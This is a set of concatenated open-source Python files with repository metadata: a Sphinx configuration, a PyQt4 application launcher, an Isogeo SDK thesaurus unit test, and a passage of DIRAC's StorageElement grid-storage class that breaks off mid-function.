builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'sporecodecdoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'python-spore-codec.tex', u'Spore codec Documentation', u'Arnaud Grausem', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'sample', u'Spore Codec Documentation', [u'Arnaud Grausem'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'sample', u'Spore Codec Documentation', u'Arnaud Grausem', 'sample', 'Codec for generation Spore descriptions from ' 'CoreAPI document.', 'REST WEB API'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote'
agrausem/python-spore-codec
docs/conf.py
Python
gpl-3.0
7,805
from restriction_enzymes import map_re_sites
yuanbaowen521/tadbit
_pytadbit/mapping/__init__.py
Python
gpl-3.0
46
#!/usr/bin/env python #-*- coding:utf-8 -*- import sip sip.setapi(u'QDate', 2) sip.setapi(u'QDateTime', 2) sip.setapi(u'QString', 2) sip.setapi(u'QTextStream', 2) sip.setapi(u'QTime', 2) sip.setapi(u'QUrl', 2) sip.setapi(u'QVariant', 2) if __name__ == "__main__": from PyQt4 import QtGui from f_main import fMain import sys app = QtGui.QApplication(sys.argv) app.setOrganizationName("orgName") app.setOrganizationDomain("orgDomain") app.setApplicationName("appName") myApp = fMain() if len(sys.argv) > 1: dbase=sys.argv[1] myApp.fileFromCommandLine(dbase) myApp.show() sys.exit(app.exec_())
tedlaz/pyted
misthodosia/m13/m13.py
Python
gpl-3.0
651
# -*- coding: UTF-8 -*- #! python3 # noqa E265 """Usage from the repo root folder: ```python # for whole test python -m unittest tests.test_thesauri # for specific python -m unittest tests.test_thesauri.TestThesauri.test_thesauri ``` """ # ############################################################################# # ########## Libraries ############# # ################################## # Standard library from os import environ import logging from random import sample from pathlib import Path from socket import gethostname from sys import exit, _getframe from time import gmtime, strftime import unittest # 3rd party from dotenv import load_dotenv # module target from isogeo_pysdk import Isogeo, Thesaurus # ############################################################################# # ######## Globals ################# # ################################## if Path("dev.env").exists(): load_dotenv("dev.env", override=True) # host machine name - used as discriminator hostname = gethostname() # API access app_script_id = environ.get("ISOGEO_API_USER_LEGACY_CLIENT_ID") app_script_secret = environ.get("ISOGEO_API_USER_LEGACY_CLIENT_SECRET") platform = environ.get("ISOGEO_PLATFORM", "qa") user_email = environ.get("ISOGEO_USER_NAME") user_password = environ.get("ISOGEO_USER_PASSWORD") WORKGROUP_TEST_FIXTURE_UUID = environ.get("ISOGEO_WORKGROUP_TEST_UUID") # ############################################################################# # ########## Helpers ############### # ################################## def get_test_marker(): """Returns the function name.""" return "TEST_PySDK - {}".format(_getframe(1).f_code.co_name) # ############################################################################# # ########## Classes ############### # ################################## class TestThesauri(unittest.TestCase): """Test Thesaurus model of Isogeo API.""" # -- Standard methods -------------------------------------------------------- @classmethod def setUpClass(cls): """Executed when module is loaded before any test.""" # checks if not app_script_id or not app_script_secret: logging.critical("No API credentials set as env variables.") exit() else: pass # class vars and attributes cls.li_fixtures_to_delete = [] # API connection cls.isogeo = Isogeo( auth_mode="user_legacy", client_id=environ.get("ISOGEO_API_USER_LEGACY_CLIENT_ID"), client_secret=environ.get("ISOGEO_API_USER_LEGACY_CLIENT_SECRET"), auto_refresh_url="{}/oauth/token".format(environ.get("ISOGEO_ID_URL")), platform=environ.get("ISOGEO_PLATFORM", "qa"), ) # getting a token cls.isogeo.connect( username=environ.get("ISOGEO_USER_NAME"), password=environ.get("ISOGEO_USER_PASSWORD"), ) def setUp(self): """Executed before each test.""" # tests stuff self.discriminator = "{}_{}".format( hostname, strftime("%Y-%m-%d_%H%M%S", gmtime()) ) def tearDown(self): """Executed after each test.""" pass @classmethod def tearDownClass(cls): """Executed after the last test.""" # close sessions cls.isogeo.close() # -- TESTS --------------------------------------------------------- # -- GET -- def test_thesauri(self): """GET :thesauri}""" # retrieve thesauri thesauri = self.isogeo.thesaurus.thesauri() self.assertIsInstance(thesauri, list) # parse and test object loader for i in thesauri: thesaurus = Thesaurus(**i) # tests attributes structure self.assertTrue(hasattr(thesaurus, "_abilities")) self.assertTrue(hasattr(thesaurus, "_id")) self.assertTrue(hasattr(thesaurus, "code")) self.assertTrue(hasattr(thesaurus, "name")) # tests attributes value self.assertEqual(thesaurus._id, i.get("_id")) self.assertEqual(thesaurus.code, i.get("code")) self.assertEqual(thesaurus.name, i.get("name")) def test_thesaurus_detailed(self): """GET :thesauri/{thesaurus_uuid}""" # retrieve workgroup thesauri if self.isogeo._thesauri_codes: thesauri = self.isogeo._thesauri_codes else: thesauri = self.isogeo.thesaurus.thesauri(caching=0) # pick two thesauri: one locked by Isogeo, one workgroup specific thesaurus_id = sample(thesauri, 1)[0] # get and check thesaurus = self.isogeo.thesaurus.thesaurus(thesaurus_id.get("_id")) self.assertIsInstance(thesaurus, Thesaurus) # ############################################################################## # ##### Stand alone program ######## # ################################## if __name__ == "__main__": unittest.main()
Guts/isogeo-api-py-minsdk
tests/test_thesauri.py
Python
gpl-3.0
5,001
""" This is the StorageElement class. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function # # custom duty import six import copy import datetime import errno import os import re import sys import threading import time from functools import reduce # # from DIRAC from DIRAC import gLogger, gConfig, siteName from DIRAC.Core.Utilities import DErrno from DIRAC.Core.Utilities.File import convertSizeUnits from DIRAC.Core.Utilities.List import getIndexInList from DIRAC.Core.Utilities.ReturnValues import S_OK, S_ERROR, returnSingleResult from DIRAC.Resources.Storage.StorageFactory import StorageFactory from DIRAC.Core.Utilities.Pfn import pfnparse from DIRAC.Core.Utilities.SiteSEMapping import getSEsForSite from DIRAC.Core.Security.Locations import getProxyLocation from DIRAC.Core.Security.ProxyInfo import getVOfromProxyGroup from DIRAC.ConfigurationSystem.Client.Helpers.Operations import Operations from DIRAC.Core.Utilities.DictCache import DictCache from DIRAC.Resources.Storage.Utilities import checkArgumentFormat from DIRAC.Resources.Catalog.FileCatalog import FileCatalog from DIRAC.Core.Security.ProxyInfo import getProxyInfo from DIRAC.AccountingSystem.Client.Types.DataOperation import DataOperation from DIRAC.AccountingSystem.Client.DataStoreClient import gDataStoreClient from DIRAC.DataManagementSystem.Utilities.DMSHelpers import DMSHelpers from DIRAC.Core.Utilities.ObjectLoader import ObjectLoader __RCSID__ = "$Id$" DEFAULT_OCCUPANCY_FILE = 'occupancy.json' class StorageElementCache(object): def __init__(self): self.seCache = DictCache() def __call__(self, name, plugins=None, vo=None, hideExceptions=False): self.seCache.purgeExpired(expiredInSeconds=60) tId = threading.current_thread().ident if not vo: result = getVOfromProxyGroup() if not result['OK']: return vo = result['Value'] # Because the gfal2 context caches the proxy location, # we also use the proxy location as a key. # In practice, there should almost always be one, except for the REA # If we see its memory consumtpion exploding, this might be a place to look proxyLoc = getProxyLocation() # ensure plugins is hashable! (tuple) if isinstance(plugins, list): plugins = tuple(plugins) argTuple = (tId, name, plugins, vo, proxyLoc) seObj = self.seCache.get(argTuple) if not seObj: seObj = StorageElementItem(name, plugins, vo, hideExceptions=hideExceptions) # Add the StorageElement to the cache for 1/2 hour self.seCache.add(argTuple, 1800, seObj) return seObj class StorageElementItem(object): """ .. class:: StorageElement common interface to the grid storage element self.name is the resolved name of the StorageElement i.e CERN-tape self.options is dictionary containing the general options defined in the CS e.g. self.options['Backend] = 'Castor2' self.storages is a list of the stub objects created by StorageFactory for the protocols found in the CS. self.localPlugins is a list of the local protocols that were created by StorageFactory self.remotePlugins is a list of the remote protocols that were created by StorageFactory self.protocolOptions is a list of dictionaries containing the options found in the CS. (should be removed) dynamic method:: retransferOnlineFile( lfn ) exists( lfn ) isFile( lfn ) getFile( lfn, localPath = False ) putFile( lfnLocal, sourceSize = 0 ) : {lfn:local} replicateFile( lfn, sourceSize = 0 ) getFileMetadata( lfn ) getFileSize( lfn ) removeFile( lfn ) prestageFile( lfn, lifetime = 86400 ) prestageFileStatus( lfn ) pinFile( lfn, lifetime = 60 * 60 * 24 ) releaseFile( lfn ) isDirectory( lfn ) getDirectoryMetadata( lfn ) getDirectorySize( lfn ) listDirectory( lfn ) removeDirectory( lfn, recursive = False ) createDirectory( lfn ) putDirectory( lfn ) getDirectory( lfn, localPath = False ) """ __deprecatedArguments = ["singleFile", "singleDirectory"] # Arguments that are now useless # Some methods have a different name in the StorageElement and the plugins... # We could avoid this static list in the __getattr__ by checking the storage plugin and so on # but fine... let's not be too smart, otherwise it becomes unreadable :-) __equivalentMethodNames = {"exists": "exists", "isFile": "isFile", "getFile": "getFile", "putFile": "putFile", "replicateFile": "putFile", "getFileMetadata": "getFileMetadata", "getFileSize": "getFileSize", "removeFile": "removeFile", "prestageFile": "prestageFile", "prestageFileStatus": "prestageFileStatus", "pinFile": "pinFile", "releaseFile": "releaseFile", "isDirectory": "isDirectory", "getDirectoryMetadata": "getDirectoryMetadata", "getDirectorySize": "getDirectorySize", "listDirectory": "listDirectory", "removeDirectory": "removeDirectory", "createDirectory": "createDirectory", "putDirectory": "putDirectory", "getDirectory": "getDirectory"} # We can set default argument in the __executeFunction which impacts all plugins __defaultsArguments = {"putFile": {"sourceSize": 0}, "getFile": {"localPath": False}, "prestageFile": {"lifetime": 86400}, "pinFile": {"lifetime": 60 * 60 * 24}, "removeDirectory": {"recursive": False}, "getDirectory": {"localPath": False}} def __init__(self, name, plugins=None, vo=None, hideExceptions=False): """ c'tor :param str name: SE name :param list plugins: requested storage plugins :param vo: vo """ self.methodName = None if plugins is None: plugins = [] if vo: self.vo = vo else: result = getVOfromProxyGroup() if not result['OK']: return self.vo = result['Value'] self.opHelper = Operations(vo=self.vo) # These things will soon have to go as well. 'AccessProtocol.1' is all but flexible. proxiedProtocols = gConfig.getValue('/LocalSite/StorageElements/ProxyProtocols', "").split(',') self.useProxy = ( gConfig.getValue( "/Resources/StorageElements/%s/AccessProtocol.1/Protocol" % name, "UnknownProtocol") in proxiedProtocols) if not self.useProxy: self.useProxy = gConfig.getValue('/LocalSite/StorageElements/%s/UseProxy' % name, False) if not self.useProxy: self.useProxy = self.opHelper.getValue('/Services/StorageElements/%s/UseProxy' % name, False) self.valid = True res = StorageFactory(useProxy=self.useProxy, vo=self.vo).getStorages(name, pluginList=plugins, hideExceptions=hideExceptions) if not res['OK']: self.valid = False self.name = name self.errorReason = res['Message'] else: factoryDict = res['Value'] self.name = factoryDict['StorageName'] self.options = factoryDict['StorageOptions'] self.localPlugins = factoryDict['LocalPlugins'] self.remotePlugins = factoryDict['RemotePlugins'] self.storages = factoryDict['StorageObjects'] self.protocolOptions = factoryDict['ProtocolOptions'] self.turlProtocols = factoryDict['TurlProtocols'] for storage in self.storages: storage.setStorageElement(self) self.log = gLogger.getSubLogger("SE[%s]" % self.name) if self.valid: self.useCatalogURL = gConfig.getValue( '/Resources/StorageElements/%s/UseCatalogURL' % self.name, False) self.log.debug("useCatalogURL: %s" % self.useCatalogURL) self.__dmsHelper = DMSHelpers(vo=vo) # Allow SE to overwrite general operation config accessProto = self.options.get('AccessProtocols') self.localAccessProtocolList = accessProto if accessProto else self.__dmsHelper.getAccessProtocols() self.log.debug("localAccessProtocolList %s" % self.localAccessProtocolList) writeProto = self.options.get('WriteProtocols') self.localWriteProtocolList = writeProto if writeProto else self.__dmsHelper.getWriteProtocols() self.log.debug("localWriteProtocolList %s" % self.localWriteProtocolList) # For the staging protocols, we take in order: # * the locally defined staging protocols list # * the locally defined access protocols list # * the globally defined staging protocols list # * the globally defined access protocols list # This ensures local over global preference as well # as backward compatibility (when staging was part of read methods) stageProto = self.options.get('StageProtocols') globalStageProto = self.__dmsHelper.getStageProtocols() self.localStageProtocolList = stageProto if stageProto \ else accessProto if accessProto \ else globalStageProto if globalStageProto \ else self.localAccessProtocolList self.log.debug("localStageProtocolList %s" % self.localStageProtocolList) self.stageMethods = ['prestageFile', 'prestageFileStatus'] self.readMethods = ['getFile', 'getDirectory'] self.writeMethods = ['retransferOnlineFile', 'putFile', 'replicateFile', 'pinFile', 'releaseFile', 'createDirectory', 'putDirectory'] self.removeMethods = ['removeFile', 'removeDirectory'] self.checkMethods = ['exists', 'getDirectoryMetadata', 'getDirectorySize', 'getFileSize', 'getFileMetadata', 'listDirectory', 'isDirectory', 'isFile', 'getOccupancy' ] self.okMethods = ['getLocalProtocols', 'getProtocols', 'getRemoteProtocols', 'storageElementName', 'getStorageParameters', 'getTransportURL', 'isLocalSE'] self.__fileCatalog = None def dump(self): """ Dump to the logger a summary of the StorageElement items. """ log = self.log.getSubLogger('dump', True) log.verbose("Preparing dump for StorageElement %s." % self.name) if not self.valid: log.debug("Failed to create StorageElement plugins.", self.errorReason) return i = 1 outStr = "\n\n============ Options ============\n" for key in sorted(self.options): outStr = "%s%s: %s\n" % (outStr, key.ljust(15), self.options[key]) for storage in self.storages: outStr = "%s============Protocol %s ============\n" % (outStr, i) storageParameters = storage.getParameters() for key in sorted(storageParameters): outStr = "%s%s: %s\n" % (outStr, key.ljust(15), storageParameters[key]) i = i + 1 log.verbose(outStr) ################################################################################################# # # These are the basic get functions for storage configuration # def getStorageElementName(self): """ SE name getter for backward compatibility """ return S_OK(self.storageElementName()) def storageElementName(self): """ SE name getter """ self.log.getSubLogger('storageElementName').verbose( "The Storage Element name is %s." % self.name) return self.name def getChecksumType(self): """ Checksum type getter for backward compatibility """ return S_OK(self.checksumType()) def checksumType(self): """ get specific /Resources/StorageElements/<SEName>/ChecksumType option if defined, otherwise global /Resources/StorageElements/ChecksumType """ self.log.getSubLogger('checksumType').verbose("get checksum type for %s." % self.name) return self.options["ChecksumType"].upper() if "ChecksumType" in self.options else gConfig.getValue( "/Resources/StorageElements/ChecksumType", "ADLER32").upper() def getStatus(self): """ Return Status of the SE only if the SE is valid It returns an S_OK/S_ERROR structure """ valid = self.isValid() if not valid['OK']: return valid return S_OK(self.status()) def isSameSE(self, otherSE): """ Compares two SE together and tries to guess if the two SEs are pointing at the same location from the namespace point of view. This is primarily aimed at avoiding to overwrite a file with itself, in particular where the difference is only the SRM spacetoken. Two SEs are considered to be the same if they have a couple (Host, Path) in common among their various protocols :param otherSE: the storage element to which we compare :returns: boolean. True if the two SEs are the same. """ # If the two objects are the same, it is obviously the same SE if self == otherSE: return True # Otherwise, we build the list of (Host, Path) couples selfEndpoints = set() otherSEEndpoints = set() for storage in self.storages: storageParam = storage.getParameters() selfEndpoints.add((storageParam['Host'], storageParam['Path'])) for storage in otherSE.storages: storageParam = storage.getParameters() otherSEEndpoints.add((storageParam['Host'], storageParam['Path'])) # The two SEs are the same if they have at least one couple in common return bool(selfEndpoints & otherSEEndpoints) def getOccupancy(self, unit='MB', **kwargs): """ Retrieves the space information about the storage. It returns the Total and Free space, and a SpaceReservation. The SpaceReservation is just a name of a zone of the physical storage which can have some space reserved. It corresponds to the ``SpaceToken`` concept of SRM. If the StorageElement definition has a ``SpaceReservation`` option in the CS, this is returned, unless it is overwritten by the storage plugin. It loops over the different Storage Plugins to query it. :params occupancyLFN: (named param) LFN where to find the space reporting json file on the storage The json file should contain the Free and Total space in B. If not specified, the default path will be </vo/occupancy.json> :params unit: (default MB)unit of the value returned. See :py:func:`~DIRAC.Core.Utilities.File.convertSizeUnits` CAUTION: only the `Total` and `Free` field are converted ! Since the rest is whatever is returned by the plugin no conversion is performed :returns: S_OK with dict (keys: Total, Free, SpaceReservation) """ log = self.log.getSubLogger('getOccupancy', True) if 'occupancyLFN' not in kwargs: occupancyLFN = self.options.get('OccupancyLFN') if not occupancyLFN: occupancyLFN = os.path.join('/', self.vo, DEFAULT_OCCUPANCY_FILE) kwargs['occupancyLFN'] = occupancyLFN filteredPlugins = self.__filterPlugins('getOccupancy') if not filteredPlugins: return S_ERROR(errno.EPROTONOSUPPORT, "No storage plugins to query the occupancy") # Call occupancy plugin if requested occupancyPlugin = self.options.get('OccupancyPlugin') if occupancyPlugin: res = ObjectLoader().loadObject('Resources.Storage.OccupancyPlugins.%s' % occupancyPlugin) if not res['OK']: return S_ERROR(errno.EPROTONOSUPPORT, 'Failed to load occupancy plugin %s' % occupancyPlugin) log.verbose('Use occupancy plugin %s' % occupancyPlugin) try: occupancyPlugin = res['Value'](self) res = occupancyPlugin.getOccupancy(**kwargs) if not res['OK']: return res occupancyDict = res['Value'] return self.checkOccupancy(occupancyDict, unit) except Exception as e: return S_ERROR('Occupancy plugin failed: %s' % str(e)) # Try all of the storages one by one for storage in filteredPlugins: # The result of the plugin is always in B res = storage.getOccupancy(**kwargs) if res['OK']: occupancyDict = res['Value'] result = self.checkOccupancy(occupancyDict, unit) if not result['OK']: continue occupancyDict = result['Value'] if 'SpaceReservation' not in occupancyDict: occupancyDict['SpaceReservation'] = self.options.get('SpaceReservation') return S_OK(occupancyDict) return S_ERROR("Could not retrieve the occupancy from any plugin") def checkOccupancy(self, occupancyDict, unit): """ Validate occupancy dict given by getOccupancy :param dict occupancyDict: occupancy given by occupancy or storage plugins :param str unit: Any of ( 'B', 'kB', 'MB', 'GB', 'TB', 'PB') :returns: S_OK with updated occupancyDict """ log = self.log.getSubLogger('checkOccupancy', True) # Mandatory parameters mandatoryParams = set(['Total', 'Free']) # Make sure all the mandatory parameters are present if set(occupancyDict) & mandatoryParams != mandatoryParams: msg = "Missing mandatory parameters %s" % str(mandatoryParams - set(occupancyDict)) log.error(msg) return S_ERROR(msg) # Since plugins return Bytes, we do not need to convert if that's what we want if unit != 'B': for space in ['Total', 'Free']: convertedSpace = convertSizeUnits(occupancyDict[space], 'B', unit) # If we have a conversion error, we go to the next plugin if convertedSpace == -sys.maxsize: msg = "Error converting %s space from MB to %s: %s" % (space, unit, occupancyDict[space]) log.error(msg) return S_ERROR('Error converting') occupancyDict[space] = convertedSpace return S_OK(occupancyDict) def status(self): """ Return Status of the SE, a dictionary with: * Read: True (is allowed), False (it is not allowed) * Write: True (is allowed), False (it is not allowed) * Remove: True (is allowed), False (it is not allowed) * Check: True (is allowed), False (it is not allowed). .. note:: Check is always allowed IF Read is allowed (regardless of what set in the Check option of the configuration) * DiskSE: True if TXDY with Y > 0 (defaults to True) * TapeSE: True if TXDY with X > 0 (defaults to False) * TotalCapacityTB: float (-1 if not defined) * DiskCacheTB: float (-1 if not defined) It returns directly the dictionary """ self.log.getSubLogger('getStatus').verbose("determining status of %s." % self.name) retDict = {} if not self.valid: retDict['Read'] = False retDict['Write'] = False retDict['Remove'] = False retDict['Check'] = False retDict['DiskSE'] = False retDict['TapeSE'] = False retDict['TotalCapacityTB'] = -1 retDict['DiskCacheTB'] = -1 return retDict # If nothing is defined in the CS Access is allowed # If something is defined, then it must be set to Active retDict['Read'] = not ( 'ReadAccess' in self.options and self.options['ReadAccess'] not in ( 'Active', 'Degraded')) retDict['Write'] = not ( 'WriteAccess' in self.options and self.options['WriteAccess'] not in ( 'Active', 'Degraded')) retDict['Remove'] = not ( 'RemoveAccess' in self.options and self.options['RemoveAccess'] not in ( 'Active', 'Degraded')) if retDict['Read']: retDict['Check'] = True else: retDict['Check'] = not ( 'CheckAccess' in self.options and self.options['CheckAccess'] not in ( 'Active', 'Degraded')) diskSE = True tapeSE = False if 'SEType' in self.options: # Type should follow the convention TXDY seType = self.options['SEType'] diskSE = re.search('D[1-9]', seType) is not None tapeSE = re.search('T[1-9]', seType) is not None retDict['DiskSE'] = diskSE retDict['TapeSE'] = tapeSE try: retDict['TotalCapacityTB'] = float(self.options['TotalCapacityTB']) except Exception: retDict['TotalCapacityTB'] = -1 try: retDict['DiskCacheTB'] = float(self.options['DiskCacheTB']) except Exception: retDict['DiskCacheTB'] = -1 return retDict def isValid(self, operation=None): """ check CS/RSS statuses for :operation: :param str operation: operation name """ log = self.log.getSubLogger('isValid', True) log.verbose("Determining if the StorageElement %s is valid for VO %s" % (self.name, self.vo)) if not self.valid: log.debug("Failed to create StorageElement plugins.", self.errorReason) return S_ERROR("SE.isValid: Failed to create StorageElement plugins: %s" % self.errorReason) # Check if the Storage Element is eligible for the user's VO if 'VO' in self.options and self.vo not in self.options['VO']: log.debug("StorageElement is not allowed for VO", self.vo) return S_ERROR(errno.EACCES, "StorageElement.isValid: StorageElement is not allowed for VO") log.verbose( "Determining if the StorageElement %s is valid for operation '%s'" % (self.name, operation)) if (not operation) or (operation in self.okMethods): return S_OK() # Determine whether the StorageElement is valid for checking, reading, writing status = self.status() checking = status['Check'] reading = status['Read'] writing = status['Write'] removing = status['Remove'] # Determine whether the requested operation can be fulfilled if (not operation) and (not reading) and (not writing) and (not checking): log.debug("Read, write and check access not permitted.") return S_ERROR(errno.EACCES, "SE.isValid: Read, write and check access not permitted.") # The supplied operation can be 'Read','Write' or any of the possible StorageElement methods. if (operation in self.readMethods) or \ (operation in self.stageMethods) or \ (operation.lower() in ('read', 'readaccess')): operation = 'ReadAccess' elif operation in self.writeMethods or (operation.lower() in ('write', 'writeaccess')): operation = 'WriteAccess' elif operation in self.removeMethods or (operation.lower() in ('remove', 'removeaccess')): operation = 'RemoveAccess' elif operation in self.checkMethods or (operation.lower() in ('check', 'checkaccess')): operation = 'CheckAccess' else: log.debug("The supplied operation is not known.", operation) return S_ERROR(DErrno.ENOMETH, "SE.isValid: The supplied operation is not known.") log.debug("check the operation: %s " % operation) # Check if the operation is valid if operation == 'CheckAccess': if not reading: if not checking: log.debug("Check access not currently permitted.") return S_ERROR(errno.EACCES, "SE.isValid: Check access not currently permitted.") if operation == 'ReadAccess': if not reading: log.debug("Read access not currently permitted.") return S_ERROR(errno.EACCES, "SE.isValid: Read access not currently permitted.") if operation == 'WriteAccess': if not writing: log.debug("Write access not currently permitted.") return S_ERROR(errno.EACCES, "SE.isValid: Write access not currently permitted.") if operation == 'RemoveAccess': if not removing: log.debug("Remove access not currently permitted.") return S_ERROR(errno.EACCES, "SE.isValid: Remove access not currently permitted.") return S_OK() def getPlugins(self): """ Get the list of all the plugins defined for this Storage Element """ self.log.getSubLogger('getPlugins').verbose("Obtaining all plugins of %s." % self.name) if not self.valid: return S_ERROR(self.errorReason) allPlugins = self.localPlugins + self.remotePlugins return S_OK(allPlugins) def getRemotePlugins(self): """ Get the list of all the remote access protocols defined for this Storage Element """ self.log.getSubLogger('getRemotePlugins').verbose( "Obtaining remote protocols for %s." % self.name) if not self.valid: return S_ERROR(self.errorReason) return S_OK(self.remotePlugins) def getLocalPlugins(self): """ Get the list of all the local access protocols defined for this Storage Element """ self.log.getSubLogger('getLocalPlugins').verbose( "Obtaining local protocols for %s." % self.name) if not self.valid: return S_ERROR(self.errorReason) return S_OK(self.localPlugins) def getStorageParameters(self, plugin=None, protocol=None): """ Get plugin specific options :param plugin: plugin we are interested in :param protocol: protocol we are interested in Either plugin or protocol can be defined, not both, but at least one of them """ # both set if plugin and protocol: return S_ERROR(errno.EINVAL, "plugin and protocol cannot be set together.") # both None elif not (plugin or protocol): return S_ERROR(errno.EINVAL, "plugin and protocol cannot be None together.") log = self.log.getSubLogger('getStorageParameters') reqStr = "plugin %s" % plugin if plugin else "protocol %s" % protocol log.verbose("Obtaining storage parameters for %s for %s." % (self.name, reqStr)) for storage in self.storages: storageParameters = storage.getParameters() if plugin and storageParameters['PluginName'] == plugin: return S_OK(storageParameters) elif protocol and storageParameters['Protocol'] == protocol: return S_OK(storageParameters) errStr = "Requested plugin or protocol not available." log.debug(errStr, "%s for %s" % (reqStr, self.name)) return S_ERROR(errno.ENOPROTOOPT, errStr) def __getAllProtocols(self, protoType): """ Returns the list of all protocols for Input or Output :param proto = InputProtocols or OutputProtocols """ return set(reduce(lambda x, y: x + y, [plugin.protocolParameters[protoType] for plugin in self.storages])) def _getAllInputProtocols(self): """ Returns all the protocols supported by the SE for Input """ return self.__getAllProtocols('InputProtocols') def _getAllOutputProtocols(self): """ Returns all the protocols supported by the SE for Output """ return self.__getAllProtocols('OutputProtocols') def generateTransferURLsBetweenSEs(self, lfns, sourceSE, protocols=None): """ This negotiate the URLs to be used for third party copy. This is mostly useful for FTS. If protocols is given, it restricts the list of plugins to use :param lfns: list/dict of lfns to generate the URLs :param sourceSE: storageElement instance of the sourceSE :param protocols: ordered protocol restriction list :return: dictionary with keys: * Successful: lfn indexed pair (src, dest) urls * Failed: lfn indexed with error * Protocols: tuple (srcProto, destProto) """ log = self.log.getSubLogger('generateTransferURLsBetweenSEs') result = checkArgumentFormat(lfns) if result['OK']: lfns = result['Value'] else: errStr = "Supplied urls must be string, list of strings or a dictionary." log.debug(errStr) return S_ERROR(errno.EINVAL, errStr) # First, find common protocols to use res = self.negociateProtocolWithOtherSE(sourceSE, protocols=protocols) if not res['OK']: return res commonProtocols = res['Value'] # We sort the storage plugins based on their native protocol # according to the common protocol list # This is to favor for example the xroot plugin over the SRM plugin # even if both can provide xroot sourceSEStorages = sorted( sourceSE.storages, key=lambda x: getIndexInList( x.getParameters()['Protocol'], commonProtocols)) selfStorages = sorted( self.storages, key=lambda x: getIndexInList( x.getParameters()['Protocol'], commonProtocols)) # Taking each protocol at the time, we try to generate src and dest URLs for proto in commonProtocols: srcPlugin = None destPlugin = None log.debug("Trying to find plugins for protocol %s" % proto) # Finding the source storage plugin for storagePlugin in sourceSEStorages: log.debug("Testing %s as source plugin" % storagePlugin.pluginName) storageParameters = storagePlugin.getParameters() nativeProtocol = storageParameters['Protocol'] # If the native protocol of the plugin is allowed for read if nativeProtocol in sourceSE.localAccessProtocolList: # If the plugin can generate the protocol we are interested in if proto in storageParameters['OutputProtocols']: log.debug("Selecting it") srcPlugin = storagePlugin break # If we did not find a source plugin, continue if srcPlugin is None: log.debug("Could not find a source plugin for protocol %s" % proto) continue # Finding the destination storage plugin for storagePlugin in selfStorages: log.debug("Testing %s as destination plugin" % storagePlugin.pluginName) storageParameters = storagePlugin.getParameters() nativeProtocol = storageParameters['Protocol'] # If the native protocol of the plugin is allowed for write if nativeProtocol in self.localWriteProtocolList: # If the plugin can accept the protocol we are interested in if proto in storageParameters['InputProtocols']: log.debug("Selecting it") destPlugin = storagePlugin break # If we found both a source and destination plugin, we are happy, # otherwise we continue with the next protocol if destPlugin is None: log.debug("Could not find a destination plugin for protocol %s" % proto) srcPlugin = None continue failed = {} successful = {} # Generate the URLs for lfn in lfns: # Source URL first res = srcPlugin.constructURLFromLFN(lfn, withWSUrl=True) if not res['OK']: errMsg = "Error generating source url: %s" % res['Message'] gLogger.debug("Error generating source url", errMsg) failed[lfn] = errMsg continue srcURL = res['Value'] # Destination URL res = destPlugin.constructURLFromLFN(lfn, withWSUrl=True) if not res['OK']: errMsg = "Error generating destination url: %s" % res['Message'] gLogger.debug("Error generating destination url", errMsg) failed[lfn] = errMsg continue destURL = res['Value'] successful[lfn] = (srcURL, destURL) nativeSrcProtocol = srcPlugin.getParameters()['Protocol'] nativeDestProtocol = destPlugin.getParameters()['Protocol'] return S_OK({'Successful': successful, 'Failed': failed, 'Protocols': (nativeSrcProtocol, nativeDestProtocol)}) return S_ERROR(errno.ENOPROTOOPT, "Could not find a protocol ") def negociateProtocolWithOtherSE(self, sourceSE, protocols=None): """ Negotiate what protocol could be used for a third party transfer between the sourceSE and ourselves. If protocols is given, the chosen protocol has to be among those :param sourceSE: storageElement instance of the sourceSE :param protocols: ordered protocol restriction list :return: a list protocols that fits the needs, or None """ # No common protocols if this is a proxy storage if self.useProxy: return S_OK([]) log = self.log.getSubLogger('negociateProtocolWithOtherSE', child=True) log.debug( "Negotiating protocols between %s and %s (protocols %s)" % (sourceSE.name, self.name, protocols)) # Take all the protocols the destination can accept as input destProtocols = self._getAllInputProtocols() log.debug("Destination input protocols %s" % destProtocols) # Take all the protocols the source can provide sourceProtocols = sourceSE._getAllOutputProtocols() log.debug("Source output protocols %s" % sourceProtocols) commonProtocols = destProtocols & sourceProtocols # If a restriction list is defined # take the intersection, and sort the commonProtocols # based on the protocolList order if protocols: protocolList = list(protocols) commonProtocols = sorted( commonProtocols & set(protocolList), key=lambda 